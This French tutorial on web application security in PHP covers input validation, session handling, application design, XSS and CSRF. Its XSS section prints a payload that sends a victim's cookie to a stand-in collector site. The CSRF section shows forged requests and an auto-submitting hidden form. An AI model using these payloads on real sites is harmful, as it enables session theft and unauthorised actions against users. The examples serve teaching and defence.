Developpement web : Généralités sur la sécurité

par Julien Pauli (Tutoriels, article et conférences PHP et developpement web) (Blog)

Date de publication : 28/05/2007

Dernière mise à jour : 15/10/2009

Phishing, vol d'identité, de coordonnées bancaires, sont autant de problème de sécurité qui émergent de nos jours. Nous utilisons tous Internet tous les jours, et celui-ci est devenu vecteur d'attaques très modernes, visant le plus souvent à soutirer de l'argent, des informations (très) personnelles , ou se faire passer pour quelqu'un d'autre; et ceci sans jamais qu'on puisse s'en apercevoir, à notre insu complètement.
La sécurité web affecte aussi la renommée d'une entreprise et peut faire tomber son économie; si bien que la sécurité d'un site Internet est devenue un métier à part entière.
Nous allons voir les grands points, concernant la sécurité, à garder en tête dans le cadre du développement d'une application web, car on ne peut développer sans en tenir compte, et ceci implique des connaissances profondes du fonctionnement d'Internet en général, et d'une application web.

I - Introduction

Une courte introduction : cet article n'a pas pour vocation d'être exhaustif, il expose les risques et les attaques majeurs qu'une application web peut subir.
Il existe encore bien d'autres aspects qu'il faudrait aborder, mais vous aurez à la fin de la lecture un bon point de départ.
Le plus important est de penser très abstrait et avec beaucoup de recul : un "site web" est une application, au même titre qu'une application lourde (un programme qui tourne sur un OS). Sauf qu'elle se situe sur le web, et interagit donc avec un environnement très vaste et très complet. Votre application reçoit des données et renvoie des données, c'est tout. Que ce soit un navigateur, un service, un serveur, une base de données, un annuaire, ou autre(...); Votre appli reste une boite noire, qu'il faut maintenir noire. Elle fournit un "service" (le site en lui même), à quelqu'un qu'elle ne connait pas, qui va lui envoyer des données, et elle va en réponse ressortir d'autres données.
Ainsi la sécurité affecte tous les niveaux : l'application elle-même, mais aussi le réseau de manière plus globale et croyez bien qu'aussi minime soit-elle : si une porte est entre-ouverte, le pirate la trouvera à coup sûr.
Nous commencerons cet article de manière générale pour peu à peu rentrer dans le vif du sujet, le langage choisi alors en démonstration est PHP(5).

II - Quelques points fondamentaux

Le réseau n'est pas imperméable : Une entreprise ne peut plus de nos jours fermer hermétiquement son réseau. Des millions de personnes à travers le monde utilisent Internet pour consulter la banque, effectuer des transferts de fonds, des achats, des recherches ...
Dans chacun des cas, des informations privées transitent sur le réseau et sont enregistrées dans un tas d'équipements différents. Pour pouvoir effectuer ces transferts d'informations, "surfer sur le web", les entreprises ont nécessairement dû ouvrir leurs **firewalls** et routeurs. Il y a nécessairement au minimum un endroit via lequel ces informations transitent, les firewalls constituant la défense ultime d'un réseau ne sont donc pas imperméables, et des informations fuient.
On peut en déduire donc que des millions d'informations diverses, concernant des millions de personnes, sont accessibles, sur Internet (tout simple n'est ce pas ?).
Point de vue sécurité, les firewalls, ou **SSL**, n'assurent qu'une petite partie. Des attaques de type **XSS** ou **SQL injections** passent à travers ca. SSL ne sert qu'à crypter le transit des informations, mais pas à s'assurer de la destination de ces informations. Et les firewalls comme déja dit sont nécessairement ouverts, via le port 80 en général, pour assurer le service.
Les grandes entreprises embauchent des spécialistes de la sécurité, pour auditer, analyser le code, mais aussi l'environnement de l'application, pour s'assurer que les bonnes données sont toujours acheminées aux bons endroits.

Plus de 80% des sites contiennent des failles de sécurité : Considérez que 8 sites sur 10, parmi tous les sites visités quotidiennement, contiennent une faille de sécurité mettant en danger les données des utilisateurs l'utilisant, et/ou de l'entreprise le maintenant.
Les sociétés de sécurités travaillent pour tout un tas de comptes et en sont arrivées à cette conclusion. Les vulnérabilités permettent à un pirate d'exploiter des données personnelles, d'éxecuter des commandes administrateur, de modifier la logique applicative, de planter le site.
Un sérieux impact pour les sociétés et les professionnels du web. Les failles de sécurité du web peuvent être classées en 24 familles, nous n'en survolerons que quelques unes. Quoi qu'il arrive, chaque site web vulnérable possède sa propre carte de sécurité, et n'est concerné que par certaines attaques.

La non validation des données d'entrées est la cause majeure de faille : Les données reçues de l'extérieur, par l'application, d'où qu'elles viennent, ne doivent jamais être considérées comme sûres. Ceci inclut les données GET, POST, les en-têtes HTTP, les **cookies**... C'est un point essentiel que le développeur doit toujours garder en tête lorsqu'il travaille. Si l'information provient de quelque part, extérieur au site, il faut alors dans tous les cas, la valider, et s'assurer qu'elle convient à ce qu'on attend.
Par exemple, n'acceptez que les données dans un jeu de **caractères** attendu. Si un entier est attendu, n'acceptez que les chiffres, convertissez et typez systématiquement toutes les données.
N'acceptez une date que dans un format attendu, une adresse email doit être épurée des symboles qu'elle ne peut contenir, et s'assurer qu'elle contient ceux qu'elle doit contenir.
De même que si vous attendez 15 caractères, vous n'en attendez pas plus... Les données doivent être débarrassées des caractères qui peuvent avoir une signification spéciale dans un environnement traité : tags **HTML**, code javascript ou PHP ...
Vous pouvez même considérer votre base de données comme un support "exterieur". Si vous lui faites confiance aveuglément et qu'un pirate réussi à la détourner alors votre application va se faire assomer. La liaison serveur SQL / serveur web (ou applicatif) doit être scrutée soigneusement.
Evidemment ce concept s'étend à tout autre système : votre application discute avec le service d'une application tierce ? Qui vous prouve que celle-ci n'a pas été compromise et commence à vous envoyer des données falsifiées dans le but de prendre le contrôle de votre applicatif propre ? La sécurité, c'est la paranoïa.

Défendez à tous les niveaux : Des grands comptes comme Google, Yahoo FaceBook ou Twitter ont été victimes d'attaques, parfois très ingénieuses. Alors que penser d'entreprises plus "moyennes" ? Il faut sécuriser tous les étages de l'application web :
Validation des données d'entrées, **base de données**, configuration du serveur web, **proxies**, firewalls, cryptage de données, administration du système d'exploitation ...
Il est nécessaire aussi de tester fréquemment la sécurité de chaque couche, ceci réduit fortement les risques

Beaucoup de vulnérabilités ne viennent pas du code source : L'analyse seule du code ne révèle pas tout. Le système est généralement branché via de multiples endroits, à de multiples services, tels qu'une base de données, des **services webs**, des **annuaires**, des sources de données diverses. Plus la complexité de l'architecture est élevée, plus il est difficile d'imposer developpement sécurisé, et qualité de service. Des codes de déboggages qui trainent en commentaires, des fichiers non utilisés mais gardés en version finale, diminuent la sécurité générale d'un projet. Une application en version de production doit être auditée à part des versions de developpement, et après que le service de qualité soit passé.
Un pirate est malin, rapide et a du flaire, s'il veut et qu'il peut vous trouver : il vous trouvera.

Une mise à jour de code doit entrainer une revérification de la sécurité : Les applications actuelles des grandes entreprises sont constamment en développement, et sont souvent mises à jour. Parfois la logique change profondément, ainsi que l'environnement général du site.
Les développeurs sous pression ont tendance alors à aller vite et bâcler certains passages, alors qu'un tout petit bout de code peu faire brutalement chuter la sécurité. Des processus d'analyse de code et d'audit doivent être planifiés avec des professionnels. Le **Cross Site Scripting** est une attaque qui revient très souvent, car très vicieuse et pouvant provoquer de gros dégâts. Elles constituent une nouvelle forme de virus informatique. Myspace a du fermer en 2006 pendant 24heures à cause d'une attaque XSS, ils hébergaient alors 32 millions de comptes utilisateurs...

Tout logiciel est vulnérable : Partant de là, il faut se dire que oui, mon code est faillible, et je vais chercher comment réduire ces failles. Utilisez des scanners, des logiciels de requetage HTTP, cherchez à vous percer vous-même; et ne vous supposez pas infaillible, personne ne l'est, même les plus grands.

Le patch d'une faille nécessite une mise à jour du code : On ne s'en rend pas bien compte sur les applications clients lourds. Un patch est téléchargé puis "bêtement" appliqué. Mais pour une application web, la résolution d'un problème de sécurité entraine la réécriture de certaines - voire beaucoup - parties du code. Cette réécriture pouvant elle-même être source de nouvelles failles.

Une bonne sécurité repose sur des logiciels ET des personnes professionnelles : Un logiciel tel qu'un scanner va faire apparaitre des failles techniques. Mais seule une analyse manuelle d'un expert peut faire remonter des failles de types logique, qui nécessitent qu'un certain contexte soit crée (faux compte utilisateur, vol d'identité).
Entreprises, exigez la certification de vos compétences. Combien trouve-t-on de développeurs qui ne savent même pas ce qu'est le modèle réseau OSI, alors qu'ils développent des applications réseau ? Un comble. On ne demande pas d'être ingénieur dans tous les domaines, mais d'avoir fait des études en informatiques, ou à défaut d'avoir suivi des formations et valider ses acquis. Un développeur web doit connaitre le fonctionnement d'Internet et des réseau afin de maitriser clairement chaque ligne de code qu'il va produire.

Une partie de ces sources informatives de cette partie sont issues de **Whitehatsec**

III - Développer et déployer une application web sécurisée

La forte exposition des applications web a fait emergé des réalités. Lorsque vous attendez un utilisateur sur votre site, vous devez être parano et immédiatement penser que celui ci va essayer de manipuler votre programme. Toute information provenant de l'extérieur, en particulier de l'utilisateur, est potentiellement dangereuse.
Ainsi, la première règle est bien entendu : ne faites jamais confiance aux données envoyées par le client, et ne supposez rien du tout à leur sujet, ce sont des données, point final. Le developpement entier doit tenir compte que le client peut théoriquement manipuler toutes les données qu'il envoie à votre application. Ne supposez jamais que compte tenu que l'utilisateur utilise tel outils, alors "on va dire que"... Non.
Par exemple, un champ de formulaire "hidden" est certes caché de l'affichage par un navigateur, mais il demeure présent dans le code source et donc entièrement lisible.

En deuxième point, securiser une logique légère est plus facile que sécuriser une logique lourde.
Ne transferez pas de logique chez le client, car il peut en faire ce qu'il veut. Ainsi, évitez une logique métier dans du **Javascript**, de nombreuses astuces permettent de la détourner. Un appel **Ajax** doit chercher des données sur le serveur, et on ne doit pas itérer un objet au format JSON posté sur le client.
De la même manière, utilisez le client pour valider les données est totalement hors sujet. Utiliser javascript pour valider un formulaire ne sert strictement à rien. Cette étape doit être assurée par le serveur. Qui dit que javascript est activé ? Qui dit que le client est un navigateur web qui affiche une page ? Personnellement en quelques temps je crée une application PHP qui peut requêter une page tierce, et lui renvoyer des données, que je peux manipuler...
Aussi il est très simple d'utiliser des programmes faisant appel à des sockets TCP comme telnet, afin de fournir un service en couche applicative (HTTP). Il est très simple de forger et d'envoyer n'importe quelle requête HTTP, à n'importe quel système qui en attend une.
Pour s'en rendre compte, regardez du coté des plugins Firefox dédiés à l'analyse et la modification d'informations provenant d'un site web, tels que **FireBug**, **LiveHTTPHeaders**, **TamperData**, **Webdévelopper**

III-A - Premier niveau : la portion de code et la transaction

Tout code doit être formaté convenablement. Des règles de codages doivent être utilisées afin de ne pas s'éparpiller et pour assurer la maintenabilité du code, par tout le monde. Un code mal écrit est beaucoup plus difficilement sécurisable qu'un code formaté suivant des règles strictes.
Le code est généralement découpé en objets, en méthodes/fonctions, auxquelles on va passer des paramètres. Une transaction est l'action de passer un paramètre à un objet, et de récupérer un résultat et un nouvel état général de l'application.
Il est nécessaire de s'assurer que les paramètres sont valides et répondent bien à ceux attendus, notamment en matière de typage. Un pirate peut changer la valeur ou même le type de paramètres envoyés au serveur.
Tout paramètre envoyé au serveur est de type string, mais si derrière dans l'url, on rajoute des crochets : [] , il se transforme en type array, et si l'application n'a pas prévu de recevoir un array, elle passe alors dans un état inconnu, non désirable, susceptible d'être instable, ou de révéler des informations qu'elle ne devrait pas.
Il est très simple aussi de rajouter des paramètres dans une URL, de devinner une situation... Un pirate n'est pas idiot.

Un client peut aisément manipuler toute donnée envoyée à votre serveur. Même une liste selectionnable doit être validée, ce n'est pas parce qu'on attend un paramètre d'une valeur précise, que l'on va recevoir celui-ci en bonne et due forme.
Si un formulaire propose un choix de couleur via un select "blue/green/red", il est tout à fait possible de recréer le formulaire ou de forger la requête HTTP à la main, pour envoyer la valeur "0" ou toute autre valeur non prévue.
En matière d'encodage de caractères aussi, un caractère peut changer de signification lorsqu'il change d'encodage (un caractère n'est qu'un code binaire, qui signifie quelque chose de précis et de particulier, si et seulement si il est placé dans un contexte d'encodage précis). Ainsi la plupart des champs ne devraient pas contenir les meta caractères <>"& etc... utilisés pour certaines attaques visant à changer la sémantique d'une chaine. Il est important durant la phase de design applicatif, de bien cibler quel paramètre pourra comporter des caractères spéciaux.
Pour ces paramètres, il est recommandé d'utiliser un filtrage par liste blanche : partir du fait que tout caractère est interdit, sauf certains qu'on listera. On s'assure de cette manière que notre paramètre ne peut que contenir tel ou tel caractère, et aucun autre.

Tous les paramètres doivent se voir attacher des contraintes strictes. Pas de paramètre "volant" pouvant prendre n'importe quelle valeur, il faut absolument le limiter : taille maximale, type, caractères valides fonction du Charset HTML.
Dès que possible, il faut essayer de fixer les valeurs et ne pas laisser le client les entrer lui-même. Lorsqu'on demande un pays, plutôt que de laisser l'utilisateur l'écrire en toutes lettres, on utilisera une liste déja prédéfinie de pays, que l'on validera par la suite. C'est le filtrage par liste blanche : on interdit tout, sauf certaines valeurs.

Il faut aussi garder en tête qu'au moins on en dit sur son code, au plus celui-ci sera sécurité. Il vaut toujours mieux garder les choses cachées, plutôt que de les exposer et faciliter leur manipulation. Ainsi pour une transaction on préfèrera la méthode POST à la méthode GET. En effet, en POST, le paramètre devient un paramètre de la requête HTTP et n'est pas visible dans la barre d'adresse.
Ceci élimine déja les petits curieux s'amusant à changer les types ou les valeurs des variables GET passées dans l'URL. En elle même, cette défense ne va pas vous assurer un site imperméable, il reste possible de modifier une requête POST, mais au moins vous évitez de tenter le diable, ce qui est un point très important en matière de sécurité d'applications web.
Dans la théorie HTTP, la méthode GET est utilisée pour récupérer des informations, pour interroger un serveur, alors que la méthode POST est vouée à l'envoi d'informations et à la modification de données.
L'utilisation du **mod-rewrite** permet aussi d'embrouiller les éventuels pirates en changeant la logique originelle d'une transaction.
Si on ne peut faire autrement, et que l'utilisation d'un GET s'impose, alors on s'efforcera d'encrypter les paramètres et leurs valeurs afin de ne pas révéler une partie de la logique applicative. Si un site propose une URL du type http://site.com/index.php?show=links&linkID=3 , on devine trop facilement le code qui se cache derrière...
De la même manière, le code rendu final (typiquement : (x)HTML) doit être épuré de tout commentaire pouvant donner un indice au pirate. Selon certaines règles, en lisant la source HTML d'une page résultat, on peut retrouver tout ou partie de la logique de découpage derrière. Lorsque on voit des <---*! début du header* ; on a vite compris.

Un site dynamique possède la particularité de récupérer des informations de l'utilisateur, afin de créer une page personnelle propre à chacun. Ceci doit être fait de manière sécurisée : Ne jamais utiliser directement une valeur qu'un utilisateur envoie.
Par exemple, si on veut afficher le nom de l'utilisateur, pour lui sortir un joli "Hello user", on s'assurera que le nom de l'utilisateur ne comporte pas de Javascript susceptible de causer une faille XSS qui pourrait mener au vol de session, ou à la manipulation du site.
Toutes les entrées de l'application doivent systématiquement vérifier qu'aucun code de script n'est inséré, et qu'aucun caractère n'est encodé de manière à avoir une signification particulière lors de son interprétation.

Du coté des en-têtes **HTTP**, il s'agit d'une source d'entrée de données, et elle doit donc être considérée comme non sûre. Prenons par exemple le referer, qui indique la page depuis laquelle le client provient.Il peut être manipulé pour contenir l'URL que l'on souhaite, certains navigateurs et certaines extensions de navigateur le permettent, par exemple.
Ce genre de variable peut être utilisé pour rendre la tache d'un pirate plus complexe, mais on ne doit pas reposer sa sécurité dessus. Ils doivent de même être cryptés lorsqu'utilisés, de manière à ce qu'un pirate ne puisse prendre connaissance de leur valeur et de leur signification vis à vis de l'application.
Tous les protocoles webs et les standards sont définis par des spécifications, les **Requests For Comments**; cependant la plupart des composants tels que serveurs webs, ou applications webs, acceptent un certain écart vis à vis du standard. Il est recommandé de se conformer aux RFCs, et de ne pas faire d'écarts, ceci de manière à éviter les comportements hasardeux et ambigüs, qui permettront de mieux cibler et traiter chaque transaction.
Vous pouvez aussi regarder ces articles : **Le comportement des navigateurs Web** ou encore **la sécurité des navigateurs web**

III-B - Deuxième niveau : la session utilisateur

De multiples requêtes sont organisées en sessions, qui représentent une entité logique de suivi de l'utilisateur. Sécuriser une session ne peut ainsi pas se faire sans avoir sécurisé au préalable le code sémantique, et chaque transaction élémentaire. **Le protocole HTTP** est un protocole "stateless" entendez par là, sans état. A un moment M un utilisateur requête le serveur. A un moment M+1, il n'est pas possible de savoir si c'est le même utilisateur qui

requête le site ou pas, car le protocole HTTP n'a pas été conçu pour garder un état, une trace, d'une quelconque transaction.
Ainsi, chaque requête est une entité unique, et les requêtes sont toutes indépendantes l'une de l'autre. Cependant dans le cas d'une application web, un mécanisme de contexte doit être crée pour garder trace de l'utilisateur au fur et à mesure de son surf.
Une session est ainsi initialisée, en général suite à un processus d'identification de l'utilisateur. L'utilisateur se voit alors attribué un jeton ("**token**") qui l'identifie de manière unique vis à vis de l'application, et permet à celle ci de garder un état unique le concernant.
On comprend vite alors que la session soit un talon d'achile, que tout pirate essayera de s'approprier, afin de se faire passer pour quelqu'un, ou de gagner des droits qu'il ne possède pas à l'origine. Une fois la session démarrée, il n'y a donc plus besoin de s'identifier.
Commençons par sécuriser ce processus d'identification. **SSL** est un bon moyen de crypter les données échangées entre le poste client et le serveur, afin d'éviter leur éventuelle interception. Il faut aussi s'assurer que le degré de complexité du mot de passe soit suffisamment élevé pour éviter des attaques du type dictionnaire.
Il faut aussi s'attendre à des **attaques de type DOS**, et donc implémenter un compteur, des délais et des seuils; pour par exemple faire attendre l'utilisateur 5min au bout de 3 essais d'identification non concluants.
De même, il faut à tout prix éviter les "identifiants par défaut", tels que root/password, qui peuvent être donnés à une personne nouvelle venue sur un site; et il faut aussi toujours réidentifier l'utilisateur lors de manipulation à haut risque sur sa session (valider une carte de crédit, un changement de mot de passe, etc...)

Une fois identifié, il faut veiller à ce que le jeton attribué à l'utilisateur soit unique, **crypté**, et pas facilement devinable. On utilisera un timestamp associé à de multiples processus de cryptage et de jeu de hasard. Concernant PHP, ce système peut être manipulé via session.entropy_file, session.entropy_length, session.hash_function etc...
Il est cependant préférable d'utiliser des algorithmes connus et reconnus, plutôt que d'essayer d'inventer une roue qui risque d'être trouée facilement.
Le passage de l'identifiant de session d'une requête à l'autre, se fait par cookie, envoyé au client, et renvoyé au serveur à chaque requête. Cependant, il est aussi possible de le faire passer par l'URL (PHP : session.use_trans_sid), ce qui en soit représente une faille de sécurité importante, car l'id de session est alors collé à la fin de chaque requête HTTP, et est donc dans la majorité des cas visible dans la barre d'adresse. L'id est aussi présent dans le Referer, et donc lorsque l'utilisateur accède à un site externe, il transmet à celui ci son identifiant de session du précedent site visité.
Concernant le cookie, si la connexion n'est pas sécurisée (SSL), alors le cookie circule en clair sur le réseau à chaque requête HTTP du client vers le serveur. C'est très mauvais, si l'on considère par exemple les nombreux hotspots wifi "ouverts" que l'on trouve aujourd'hui.
Un peu de TCPDump ou de Wireshark avec une antenne à gain dans la rue, et on tombe très facilement sur des cookies de session valides que l'on n'aura qu'à répeter pour se faire passer pour quelqu'un, sans compter sur les mots de passe qui circulent dans les airs sans aucun cryptage...

La terminaison de la session est un point extrêmement important. Une session laissée ouverte trop longtemps et abandonnée représente une faiblesse au niveau de la sécurité. Tout doit être mis en oeuvre pour écourter le plus possible le temps de vie d'une session, ainsi la session doit se terminer dans les cas suivants :

1. Session inactive : une session qui n'a pas été réactivée depuis une période raisonnable, typiquement 5 à 15 minutes
2. Session longue : une session qui reste active, mais qui atteind la limite maximale de validité entrainant la nécessité pour l'utilisateur de se réidentifier. Le temps est paramétrable.
3. Deconnexion : un utilisateur doit pouvoir à tout moment "se deconnecter" et donc fermer/détruire explicitement sa session et son cookie de session
4. Erreurs de sécurité : une quelconque alerte de sécurité levée au sein de l'application doit entrainer immédiatement la fermeture de toutes les sessions

Il est de même nécessaire de créer des états de l'application. Celle-ci doit suivre une logique prédéterminée lors du design applicatif. Un état 2 succède à un état 1 si celui ci est validé. Par exemple, lors de la création d'un utilisateur, celui-ci devra remplir plusieurs informations et se faire succéder plusieurs étapes dans un ordre précis. On ne doit pas pouvoir sauter d'étape sans valider la précedente.

III-C - Troisième niveau : sécurité du design applicatif

L'organisation et la structuration des couches de l'application jouent un rôle déterminant en matière de sécurité. Les zones ne nécessitant pas une session particulière doivent être identifiées et isolées. Ces zones peuvent être accessibles par des moteurs de recherche, et seront isolées dans des dossiers spécifiques, à l'écart des zones plus sécurisées, nécessitant une identification préalable. Plus la structure de l'application est simple et précise, plus elle est facilement sécurisable. Tout lien entre différentes zones doit s'accompagner d'une reflexion sécuritaire adéquate.
De la même manière, il faut clairement définir les points d'entrée de l'application, c'est à dire les points par lesquels le site est accessible de l'extérieur. Une fois identifiés, les zones de l'application et sa logique peuvent être étudiées d'un point de vue sécurité.
On notera ainsi les accès utilisateurs. Plus il y a d'accès, de points d'entrée, plus il sera difficile de sécuriser l'application.
Ensuite les **robots de recherche**. Ces robots n'utilisent pas de session, et chaque page à laquelle ils ont accès est un point d'entrée. Il est donc primordial de ne pas faire passer les robots dans des zones reservées, afin d'éviter qu'ils ne les indexent. Les pages devant être indéxées doivent donc être définies lors de la reflexion sur la logique et doivent être des zones libres d'accès et publiques. Il faut les stocker dans des répertoires précis. L'utilisation de **robot.txt** peut être la bienvenue pour empêcher un robot de passer dans une zone interdite (nécessitant une session, des privilèges ...). D'une manière générale, on veillera donc à limiter au maximum le nombre de points d'entrée de l'application. Il est possible de designer des applications avec un seul point d'entrée logique externe, c'est le cas de nombreuses applications MVC.

Le cache est un point discutable aussi. En laissant des serveurs proxy ou des navigateurs mettre des informations en cache, on accelère la navigation, mais on permet aussi à une autre entité, de mémoriser de manière semi-permanente des informations qui peuvent être de type privé.
En règle général, on ne cachera que le contenu multimédia (vidéos, images), et jamais le contenu textuel HTML. Ces informations dans le cadre d'une application dynamique, sont assujetties à des changements plus ou moins fréquents, et ne doivent être issues que de votre site, et non d'un serveur proxy ou toute autre plateforme.
L'utilisation d'un en-tête "no-store" protège contre la mémorisation d'informations privées et importantes dans un espace où elles pourraient être lues et modifiées (un cache de navigateur).

IV - Cross site scripting : XSS

Le Cross site scripting , abrégé XSS pour ne pas confondre avec les feuilles de styles CSS, est une des attaques les plus répandues dans le monde Internet actuel. XSS permet de voler et de manipuler des données privées d'un utilisateur à son insu.
XSS est un mécanisme qui fait intervenir un pirate, un client (un utilisateur) et un site web. En général, le point principal visé par XSS est le vol de cookie et donc d'identifiant de session, entres autres. XSS peut aussi mettre totalement à plat la logique d'un site en manipulant celui-ci par son interieur même.
Une fois le jeton de session en sa posséssion, le pirate se fait passer pour quelqu'un d'autre et accède donc au compte utilisateur d'une personne tierce.
Il y a 3 types d'attaques XSS différents, mais qui fonctionnent globalement tous de la même manière : un code javascript malicieux est executé dans l'environnement local de la victime, le plus souvent à son insu, permettant de récupérer ses informations de connexion, ou d'éxecuter des scripts locaux avec ses droits.
La plupart des navigateurs modernes possèdent javascript d'activé nativement, et la plupart des sites web modernes acceptent que l'utilisateur puisse mettre en forme un texte avant de l'envoyer, avec diverses balises. Ce sont les 2 causes majeures de la prolifération des failles XSS sur Internet.
Google y a eu droit, Yahoo aussi, **Myspace**, etc....

IV-A - La technique XSS

Nous allons voir comment techniquement ce phénomène est possible. Il intervient lorsque le site utilise des données envoyées par l'extérieur, sans les avoir préalablement validées et épurées. Supposons un site http://www.monsite.com
Supposons que ce site inconscient du danger affiche directement le contenu d'une variable GET, pour dire bonjour par exemple :

```
GET /index.php?name=Le%20pirate HTTP/1.1
Host: www.monsite.com
...
```

La réponse va être (je passe les en-têtes):

```
<html>
<title>Hello!</title>
Coucou Le pirate<br>
Bienvenue chez nous !
...
</html>
```

Il est très facile d'abuser d'une telle situation, mais notez bien que XSS n'agit pas sur le serveur, mais sur le poste du client. Voyons ca :

```
http://www.monsite.com/index.php?name=<script>alert(document.cookie)</script>
```

La réponse va donc être :

```
<html>
<title>Hello!</title>
Coucou <script>alert(document.cookie)</script><br>
Bienvenue chez nous !
...
</html>
```

Le navigateur de la victime va interpréter le code, et va éxecuter les instructions javascript. Ici : une fenêtre s'affiche en dévoilant les cookies que la victime possède, concernant www.monsite.com
Car Javascript ne peut accéder qu'aux cookies du domaine en question. Bien entendu, une attaque réelle ne va pas afficher les cookies, mais les voler, de cette manière par exemple :

```
http://www.monsite.com/index.php?name=<script>window.open("http://www.voldecookie.com/collect.php?
cookie="%2Bdocument.cookie)</script>
```

Une réponse qui sera de la forme suivante va donc apparaitre :

```
<html>
<title>Hello!</title>
Coucou <script>window.open("http://www.voldecookie.com/collect.php?cookie="+document.cookie)</script><br>
Bienvenue chez nous !
...
</html>
```

Et bien entendu, la page collect.php enregistre les précieuses informations contenues dans le cookie, notamment l'identifiant de session du site www.monsite.com si il est présent.
Nous avons fait du Cross Site Scripting, un script qui échange des données entre plusieurs domaines, dangereux...
Bien entendu, le pirate doit amener sa victime sur la page en question, pour faire éxecuter le script dans son environnement. Ainsi, souvent, c'est par un simple mail que l'on est invité à découvrir un "super trop beau cadeau", mail au format html. Aussi, un pirate peut très bien cacher sur son site un lien vers une image qui n'en est pas une, mais en réalité une autre ressource exploitant une faille XSS.
Javascript peut aussi accéder au DOM de la page, et donc pourquoi pas modifier les destinations des formulaires la composant, afin d'envoyer les informations saisies vers un site pirate les recueillant.
On comprend bien ainsi que le point faible est la page qui affiche directement des données issues de l'extérieur sans les valider. Dans notre exemple nous passons par un GET, mais il est possible d'utiliser **POST**, et même les en-tête HTTP tels que le Referer. Aussi, il n'y a pas que la balise <script> qui fonctionne, mais tout un tat d'astuces, par exemple on peut très bien injecter comme ceci :

```
<input type="text" name="user" value="...">
```

Si la valeur de "value" est

```
"><script>alert(document.cookie)</script>
```

Alors le résultat se transforme en une XSS :

```
<input type="text" name="user" value=""><script>alert(document.cookie)</script>">
```

Il y a même des astuces qui visent à écrire le mot "javascript" sur 2 lignes, et, le pire de tout est l'utilisation de codages différents, **RSnake vous le décrira mieux que moi**
On remarquera que le type 3 d'attaques XSS est permanent, c'est à dire que le code malicieux est stocké sur le site vulnérable, dans une base de données par exemple, et est resservi à chaque requête sur la page piégée.

IV-B - Sécurité et protection contre XSS

Si on veut être sûr à 100% de ne pas être vulnérable au XSS en tant que client, on désactivera Javascript. Mais on risque alors de ne plus pouvoir profiter d'un grand nombre de site éstampillés "web2.0", qui utilisent abondamment javascript.
Du coté serveur, un script sécurisé analysera les valeurs des données et s'assurera qu'elles ne contiennent pas de meta caractères spécifiques, de balises scripts ... ou convertira carrément toutes les entités HTML, mais rendant à

ce moment là impossible la mise en forme du texte rendu.On va donc mettre en place des filtres personnalisés qui vont scanner les données en sortie, avant de les afficher. Chaque page d'affichage devra correctement analyser les entrées, et les filtrer.
Une bibliothèque telle que **html tidy** peut être utilise pour ceci.
Certains Firewalls peuvent aussi analyser le traffic et bloquer certains XSS.
Pour tester si un site est vulnérable aux XSS, la méthode manuelle reste de mise, bien que complexe. Appuyée par des outils automatisés, ceci consiste dans les grandes lignes à insérer <script>alert(document.cookie)</script> dans toutes les variables de l'application.
Ce n'est évidemment pas suffisant pour une assurance à 100%, car le javascript peut être inséré dans les en-tête HTTP aussi, dans le **chemin de l'URL** etc...

Gardez à l'esprit que nous avons ici démontré "le principe". Vous n'imaginez pas combien les pirates sont rusés. Ils peuvent parfois écrire plus de 1000 lignes de code dont 998 lignes sont écrites pour encoder 2 lignes représentant la XSS à proprement parler.
Ils sont fourbes et malins, mais surtout essayent d'être très discrêt. Avec XSS, l'utilisateur lambda ne s'aperçoit absolument de rien du tout, alors que ses coordonnées sont en train de filer vers un pirate qui ne va pas tarder à les revendre ou les utiliser. Ceux-ci n'hésitent pas non plus à tirer parti de la moindre faille de sécurité y compris au sein des navigateurs eux mêmes, qui ne sont après tout "que" des suites de lignes de code C++ compilées, dans lesquelles évidemment de nombreuses failles existent.
Les internautes ne surfent pas forcément avec un navigateur à jour et ceci rend la tâche du développeur, de l'autre coté de la barrière, d'autant plus difficile qu'il ne maitrise aucunement l'environnement de son client.

V - Cross Site Request Forgeries : CSRF

V-A - Le principe

Derrière ce mot barbare, qui se prononce "Sea Surf", se cache un vecteur d'attaque bien réel, et plus facilement exploitable que le XSS. L'un n'empêchant pas l'autre. CSRF abuse de la confiance qu'a un site, dans ses utilisateurs; et c'est une préoccupation majeure que tout développeur/architecte/etc... doit avoir en permanence.
Une CSRF est une attaque qui force un utilisateur à éxecuter des requêtes vers un site victime, mais totalement à leur insu. Généralement ces utilisateurs ont des droits élevés sur le site victime, pour un maximum de dégat. Elle est d'autant plus difficile à détecter qu'elle parait tout à fait légitime.
Voici le classique exemple de l'image :

```
<img src="http://victimsite.com/vote.php?votefor=myself">
```

L'affichage d'une telle image va générer une requête sur un site, vistant à voter pour quelqu'un. Rappelons nous qu'un site est une boite noire, rien n'est définit quant à d'où vient la requête.
Lorsque le navigateur rencontre "src=", pour n'importe quel type de ressource, (même les fichiers css), il va effectuer une requête HTTP de type GET, comme s'il appelait une page web. Evidemment on suppose ici que le code de l'image a été par exemple inséré sur un forum, qui l'accepte en bonne et due forme. On peut faire plus vicieux, car une image ne se chargeant pas, est visible dans le rendu final, alors qu'un attribut css, non :

```
<b style="background: url(\'http://abanksite.com/transfert_money.php?account=mine&amount=1000\')">
```

Bon l'exemple est fait pour être explicite. Il est important de savoir que le navigateur effectue une requête HTTP basique, il va donc AUSSI envoyer les cookies qu'il possède éventuellement pour le site visé (victimsite.com).
De ce fait, le site victime voit la requête avec ses cookies, si une session était en cours, elle sera alors restaurée. C'est la raison pour laquelle les pirates ciblent des utilisateurs à hauts privilèges.
Bon, ici on manipule des données GET, et c'est entre autre pour cela que l'on déconseille l'utilisation en php de $_REQUEST, car on ne sait pas de quelle méthode provient la requête, avec une telle variable.
Un script accessible en POST, mais utilisant $_REQUEST, le sera aussi en GET. Les conventions veulent cependant qu'une requête GET ne déclenche pas d'action, sauf en lecture, sur le serveur distant. Pour toute opération sensible, il faut utiliser un POST.
POST qui n'est pas pour autant invulnérable, mais plus difficilement attaquable. Pour contrefaire un POST, le mieux reste de recréer un formulaire :

```
<form name="acsrfform" method="POST" action="http://www.avulnerablesite.com/admin.php">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="membrenum" value="3">
</form>
<script>document.acsrfform.submit();</script>
```

Ici la requête HTTP va ressembler à ca :

```
POST /admin.php HTTP/1.1
Host: avulnerablesite.com
Cookie: PHPSESSID=7654
Content-Type: application/x-www-form-urlencoded
Content-Length:25

action=delete&membrenum=3
```

On voit bien la falsification, si ce code est posté tel quel sur un serveur, toute personne le lisant va envoyer une requête POST vers un site vulnérable, avec ses cookies; le cocktail de choc en matière de sécurité...

On aurait pu le masquer en le postant dans une Iframe, dont la taille est nulle, et donc invisible à l'écran, mais derrière, bien présente.
